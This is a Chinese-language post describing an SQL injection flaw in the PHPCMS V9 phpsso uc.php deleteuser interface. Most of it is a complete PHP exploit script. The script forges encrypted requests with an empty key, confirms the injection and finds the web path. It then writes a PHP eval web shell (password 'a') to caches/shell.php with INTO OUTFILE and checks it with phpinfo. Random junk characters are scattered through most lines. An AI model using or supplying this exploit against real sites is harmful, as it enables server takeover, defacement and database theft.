PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。. Z8 O: u0 R0 O2 w
# Y& j- D7 [2 ^, h- E5 F" I* P1 z所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
0 f( K# O: x* `/ u% Z5 R% z, i! I3 w- w5 F
漏洞分析:
+ p+ L# i2 O" B6 N9 _7 g0 n: y1.未启用ucenter服务的情况下uc_key为空
( S I/ n& g: e# h7 i+ wdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
4 A1 g* W7 s# N" H2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
) \8 D; h8 {9 Y0 O public function deleteuser($get,$post) {! u# S) J F* h
pc_base::load_app_func('global', 'admin');; K1 z1 g/ m6 c
pc_base::load_app_class('messagequeue', 'admin' , 0);! M& q2 Y% A: Z
$ids = new_stripslashes($get['ids']);( Z9 z G4 R4 I0 |2 u5 l8 c
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
! }. f! ]# Q8 | |/ {SQL语句为
# l+ ]( X \5 Q6 a" L: ^SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)1 k4 d- R o2 e8 k3 @
+ n( P9 J2 |! T( m1 J
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
7 ?+ L! b) Y$ Q# ~3 a/ D3 e<?php6 [2 ~. O/ y6 G- z
print_r('
7 ]# {* v% B1 H---------------------------------------------------------------------------# U# _& T1 R" Y$ X
PHPcms (v9 or Old Version) uc api sql injection 0day' w! g* @3 w8 v5 {- }7 W. O: ^6 W
by rayh4c#80sec.com* [' \# }' J) h0 ?! x9 m) y
---------------------------------------------------------------------------
! W4 p: Z; U8 I# a0 {');. y+ x b! O, k
. Q/ ~6 G9 T! b& s$ M$ v3 ^if ($argc<3) {& p' F) ]( c9 ^# C u6 v
print_r('
/ f' x \, j$ ^$ J8 G. o---------------------------------------------------------------------------
1 s% r: y& n9 e5 a8 Y: s0 k% e% g- r6 kUsage: php '.$argv[0].' host path OPTIONS
7 Y) j1 }( ]) G& M. phost: target server (ip/hostname)4 x% R0 K% Z7 `3 s7 f
path: path to phpcms
8 Q* _, i2 A" y* O" [Options:
/ D7 o: U9 W2 ~9 S, K0 x* ~ -p[port]: specify a port other than 80" C6 d S* D0 B# A
-P[ip:port]: specify a proxy
5 `) s; O6 T& w `Example:
8 E G( Y* C2 X0 n0 s9 xphp '.$argv[0].' localhost // W3 m0 I8 O v$ n5 N7 N# H0 n
php '.$argv[0].' localhost /phpcms/ -p81
* v, M3 c5 D# y) Iphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
! F/ v4 i( W+ B! A) @7 @---------------------------------------------------------------------------5 c0 z" E, u/ G! n- H- b' c/ q, x& D
');3 H1 U" i9 d- V2 r* {& `
die;
& S+ [( ^, U+ h5 S: _1 n}
9 J* A* V3 l7 V! W* R9 g6 s* I. u* G& }4 j1 u6 {6 R& X" M& _
error_reporting(7);* p" I+ n6 z2 S6 E9 y+ L) ]
ini_set("max_execution_time",0);7 o" Q% V1 } T( k
ini_set("default_socket_timeout",5);/ {& S; w! y+ O2 w( u# a; f
: o4 s) d4 k" u, b' {) G4 e5 ~function quick_dump($string)1 y8 ]1 v2 k3 V: G6 D
{
$ g, y, e& H' P2 N1 E+ d6 e $result='';$exa='';$cont=0;9 G/ E a4 X% g/ Q" }
for ($i=0; $i<=strlen($string)-1; $i++)6 }( ~0 g$ O4 x0 H" j. k/ }
{; ?/ o# p+ {4 n8 j6 ?
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))- K6 b. m" l' v- O/ q" F
{$result.=" .";}( `5 ^, [% T$ d9 C+ R
else
6 Q% w/ D9 z. L5 e {$result.=" ".$string[$i];}
7 _2 i, ]* D5 L) W; I% c if (strlen(dechex(ord($string[$i])))==2)
" b+ y, v: x2 d" C2 A( k( [! S1 V {$exa.=" ".dechex(ord($string[$i]));}
! ?7 C: h5 ]% B2 ]! k2 N else
5 J* B2 `# e3 t3 G- w( U {$exa.=" 0".dechex(ord($string[$i]));}
$ M1 `- k4 L( L1 E9 h $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}; y- ^* J: u. L5 s# r
}
3 ?8 ?' }7 w' f return $exa."\r\n".$result;$ a/ H: a9 N% u$ F/ Q& a+ w) i
}
0 l2 g0 F$ H& Z2 Y5 B1 [- w% B$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
5 s' x$ g) v c* _% S9 i% Q4 Q' q- U
function send($packet)- |+ ~& K7 B& @4 V$ U7 i7 Q2 Y
{
: ?7 Z; J' r+ ]- s" j! F e; c global $proxy, $host, $port, $html, $proxy_regex;
0 X. y. \6 X# b if ($proxy=='') {0 y1 r/ @$ r, D) J6 O: H, @" [ U
$ock=fsockopen(gethostbyname($host),$port);
/ ~* V) |5 K5 l k6 j5 { if (!$ock) {
) K# d% W: l d/ d! Q echo 'No response from '.$host.':'.$port; die;6 h7 o p7 Q4 C: d! l6 l' z
}5 ]6 V# u3 a5 [6 q+ ~6 e* i0 H7 \
}2 ?' J/ w- s) b) t9 g t! z3 D
else {
* d n% k7 ~$ h# g $c = preg_match($proxy_regex,$proxy);# H' U- q( R7 Q* v
if (!$c) {& u! f! o( A# I7 O
echo 'Not a valid proxy...';die;$ W- u% |9 ?* V$ Q E
}
8 {$ ^: {" K/ _ $parts=explode(':',$proxy);% c4 J. b' b! G. |% a) n/ j) f
$parts[1]=(int)$parts[1];, O0 H+ x4 j3 H1 c+ K) |. h5 |
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";* A2 N5 L: z7 |7 K0 A
$ock=fsockopen($parts[0],$parts[1]);* Z5 j ]2 }8 Y
if (!$ock) {, _+ Y0 A0 V E+ n# V
echo 'No response from proxy...';die;
* q( l& m6 n7 S6 o8 o; y }
- v) D; ~ M2 ]& Q2 v/ X) G) F8 i }3 _$ Y0 D7 Y! S# D+ B
fputs($ock,$packet);5 b7 g6 p" I4 u
if ($proxy=='') {
* K( `# M$ }4 n* L Z $html='';
$ `* @3 n3 v/ b( g# q" g. \" R while (!feof($ock)) {
& N/ n! B) F$ O# _! r% X $html.=fgets($ock);
8 d6 W0 d# p; d. C2 P9 K }
5 C# ~0 Z- X8 v* w }
/ L N, O' W2 e% _: U4 ` else {4 W2 |* v. K; q8 _" l% [# u
$html='';) z9 d [! D# ^. F0 w- _8 P9 c5 b5 X
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
5 Q' Z% e* x n# y7 I1 _ $html.=fread($ock,1);
/ Q5 m0 F! a1 a2 g' {! i$ t6 ] }5 ^# }$ y9 y( @" y
}' _( u% i& w% ?6 Z; P; g+ \
fclose($ock);
% |$ T* O4 j9 k: a( R. S! v}
4 S) s* C( l0 o+ W5 a ~: {; e% f. B, M! z6 J
$host=$argv[1];; C0 L# R, e, ]: ]8 _# ?8 e
$path=$argv[2];% E' F/ t/ k1 u% G. [2 d& v
$port=80;0 o. t# K' f2 t" s/ o
$proxy="";3 T7 w4 w3 r* ^/ e: B( C% h
for ($i=3; $i<$argc; $i++){1 V# U' M( c# K8 c* Q1 W, k% |- q
$temp=$argv[$i][0].$argv[$i][1];# j1 u* E9 S6 B1 L" i1 V
if ($temp=="-p"): u! J$ W- ?- q/ i! y+ N
{
( }! A% F1 m. G. e* F5 U $port=(int)str_replace("-p","",$argv[$i]);- z, ` e: t t$ ?( R; o2 h7 _+ I
}* V: N- R; i: a' `- U
if ($temp=="-P")6 n- @4 C3 g, J% o6 S# }& q
{, H9 Y4 i! o: e
$proxy=str_replace("-P","",$argv[$i]);" i/ C: N& o- U- q2 ]1 s
}( A% A. K9 u$ `
}
8 d* T, P9 w: ~9 P! H( C/ w M7 q# ?9 x0 k. N+ }1 ^( K: X
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}) g; C: Z7 M) U$ D
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
+ U3 H; e- U$ n4 }' C4 c7 V: p( w. Y! G! L6 R1 k' f! c' |
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
; w3 i: N, y/ F7 S* R$ z- g5 |/ g4 M) ]3 ^
$ckey_length = 4;
$ k: J& w+ x/ d' S6 r$ K5 ]7 V" ~
# Y- `$ M3 h# i: _3 O4 z2 ~0 l+ N $key = md5($key ? $key : '');3 ]* A# U0 v! k8 `
$keya = md5(substr($key, 0, 16));
8 o' @$ O( h6 \6 e $keyb = md5(substr($key, 16, 16));
6 S9 P$ i. G0 Q) o& Y( `" g" P $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
8 u$ c. Y+ t" o3 m6 z- b$ D5 Q% ^1 P4 `5 M
$cryptkey = $keya.md5($keya.$keyc);
! Z1 U) q9 [, D8 [: n8 R$ r $key_length = strlen($cryptkey);
- w% B |" X' n6 F6 v h& I1 q. L
( Z4 S2 d! t: Z# O5 L $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;" i( M, K" [% v- s# T
$string_length = strlen($string);9 F6 u! I2 D$ J1 B, v
! {7 V$ N& k( K) b2 A8 r; y $result = '';
& T3 R; n- {; X( G2 w3 a $box = range(0, 255);( Y% }0 [7 t! y( e* u
/ n+ }+ h0 L: ]( o Y" A
$rndkey = array();
9 b% t2 Q6 t- g$ @7 P B for($i = 0; $i <= 255; $i++) {
9 |, u! T7 U: P+ g$ G, k4 A! j# z $rndkey[$i] = ord($cryptkey[$i % $key_length]);
4 `" c/ S, ]0 I. s R }2 I' ?+ T- @' F1 P6 \) A9 I
# D& C$ ]$ M4 j* Y for($j = $i = 0; $i < 256; $i++) {
8 e, q0 o! T5 I! v7 M $j = ($j + $box[$i] + $rndkey[$i]) % 256;
+ Y' h. Y% Y# a2 U0 t, T $tmp = $box[$i];
- w0 h3 p( w8 o# O3 u' p+ U8 R $box[$i] = $box[$j];& b) m& j# c. O' s2 z
$box[$j] = $tmp;
& Y+ P2 M1 B( G" k) z: `( s }0 Q" U1 [* e* a( _6 L
( L" A' ]9 c) c( j7 f9 H for($a = $j = $i = 0; $i < $string_length; $i++) {# K1 v# U/ U4 a& s# I6 a
$a = ($a + 1) % 256;1 r6 W3 C8 ]- y0 i' H2 u, V
$j = ($j + $box[$a]) % 256;2 d# j O6 ^( b& @3 H# L
$tmp = $box[$a];
- P' A* {1 w' e1 j' h. k $box[$a] = $box[$j];
: t# c% u" s% n2 Y9 M# c* w $box[$j] = $tmp;2 G3 |# f. T, A% i7 L
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
/ f4 E& Z5 i4 A. a }* w. V1 V: v% K, L; R
, V1 b1 U1 A! U
if($operation == 'DECODE') {& D8 u5 r* N& s" |1 K1 `
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
& k: _: h5 R! ~+ p return substr($result, 26);/ _9 W& {7 ?2 k" s0 \% B& ^
} else {
+ R+ a- p0 Z1 v/ { return '';
0 }; M) ^; O/ ?2 J! O3 {4 L }
7 G- s, c3 Q6 W0 j } else {6 T! l* w" o0 Y$ z' d& P% v- ~3 k
return $keyc.str_replace('=', '', base64_encode($result));
+ T4 ]2 z8 c4 D* C }. U" u& E. Y* P: G7 Y& s- Q; [: G
; s% e& T; z4 f8 c$ [& R8 b
}
0 w* o r' o& I3 ]0 |
! m1 Y) L! q- N" f( V$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";! \3 _1 K. I$ q0 s3 ^+ }* \
$SQL = urlencode(authcode($SQL, "ENCODE", ""));5 z4 c, C& L% p8 T: A
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
2 t& b$ L! V& A4 h% ^! I0 e- f5 u$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
( i& [( Q' K2 ]; ]' E$ Z* b$packet.="User-Agent: Mozilla/5.0\r\n";
+ S4 Q0 S! ^8 I3 Z- `6 n2 R+ h5 F6 U$packet.="Host: ".$host."\r\n";! N8 p1 E; N* v' A' q ]8 p G2 ]8 P7 T
$packet.="Connection: Close\r\n\r\n";$ W; Z, t2 Y5 d
send($packet);
a9 E4 U3 E5 F* Z Jif(strpos($html,"MySQL Errno") > 0){7 l3 `0 ?! {% W7 \
echo "[2] 发现存在SQL注入漏洞"."\n";: m9 T5 j' q8 `8 D
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";1 Z1 V1 S h, E* q% t1 o8 E( f
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";3 Z I& c$ d' s8 \) F0 x0 B* U
$packet.="User-Agent: Mozilla/5.0\r\n";
3 x# A0 {5 I; u6 J$ Y$packet.="Host: ".$host."\r\n";* s& g, d1 U" c' X) f
$packet.="Connection: Close\r\n\r\n";' w; |- _6 i5 J; {( b
send($packet);
6 {1 w5 K, Y9 w" Npreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
1 A* `1 N: E& I) y. x. t! g//print_r($matches);
% E& i4 c0 \9 A' v+ L+ E$ I$ uif(!empty($matches)){
1 ]' i2 j1 |* j, [4 s2 yecho "[4] 得到web路径 " . $matches[0]."\n";7 ?. `% j) a* x% d3 X
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";! m8 P7 a$ e$ Z g
$SQL = "time=999999999999999999999999&ids=1)";
. T1 B( c& o* ^0 b3 W1 n% c$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
9 ]$ `$ }- ?. S4 [' e' G$SQL.="&action=deleteuser";
' P, m6 B# Y0 e; K8 L8 ]/ I- K* b* Z$SQL = urlencode(authcode($SQL, "ENCODE", ""));# z. t: Y5 ?3 ^) ^+ ]+ X; ^
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
: x9 U4 {/ d# X/ g$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
& N* L4 H0 Z9 X/ c7 b/ N1 a5 b& E3 s5 L$packet.="User-Agent: Mozilla/5.0\r\n";; T# P0 y B" Q8 X3 u9 W7 I
$packet.="Host: ".$host."\r\n";
- _! U! n4 _" i! A$ X$packet.="Connection: Close\r\n\r\n";, \6 c5 x+ ^' t/ f
send($packet);
, D+ E$ x5 t5 e! n) Cif(strpos($html,"Access denied") > 0){; Q; ^4 `! m7 ~% ^# o6 x
echo "[-] MYSQL权限过低 禁止写入文件 ";
- E8 n1 e3 T2 ?: C* ?% N! Z1 v/ c- Sdie;
9 S8 v. V; W+ @1 G5 T}
2 ]& N/ J. d q; zecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";' K. b1 o1 t9 U5 a
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
+ X7 o# G9 v! Z$ S* Z( a' \$packet.="User-Agent: Mozilla/5.0\r\n";
4 e7 m6 C! `: T' `$packet.="Host: ".$host."\r\n";* d7 p2 p1 [2 m- _. r
$packet.="Connection: Close\r\n\r\n";
& x# c# m5 ?! C6 zsend($packet);* [1 C7 o" Y, T
if(strpos($html,"<title>phpinfo()</title>") > 0){( f! q E6 D( q2 o
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";2 z1 V0 t, M2 x: P' S
}' ]0 O) B$ k8 @+ `- y; `2 U* T
}else{$ r$ \$ d) H6 z: K# j9 ^; L6 \
echo "[-]未取到web路径 ";
: X$ P4 P8 I3 z9 \: H* B, C}5 {# X* l/ w) c
}else{
1 d& [# C- V* d% f6 o- ]! mecho "[*]不存在SQL注入漏洞"."\n";) Z( W9 f+ m- |% i
}
: Q" r/ B+ {0 J' F
4 M5 G3 K6 r' j0 N?>
2 L' K& p9 ]+ o+ A4 v |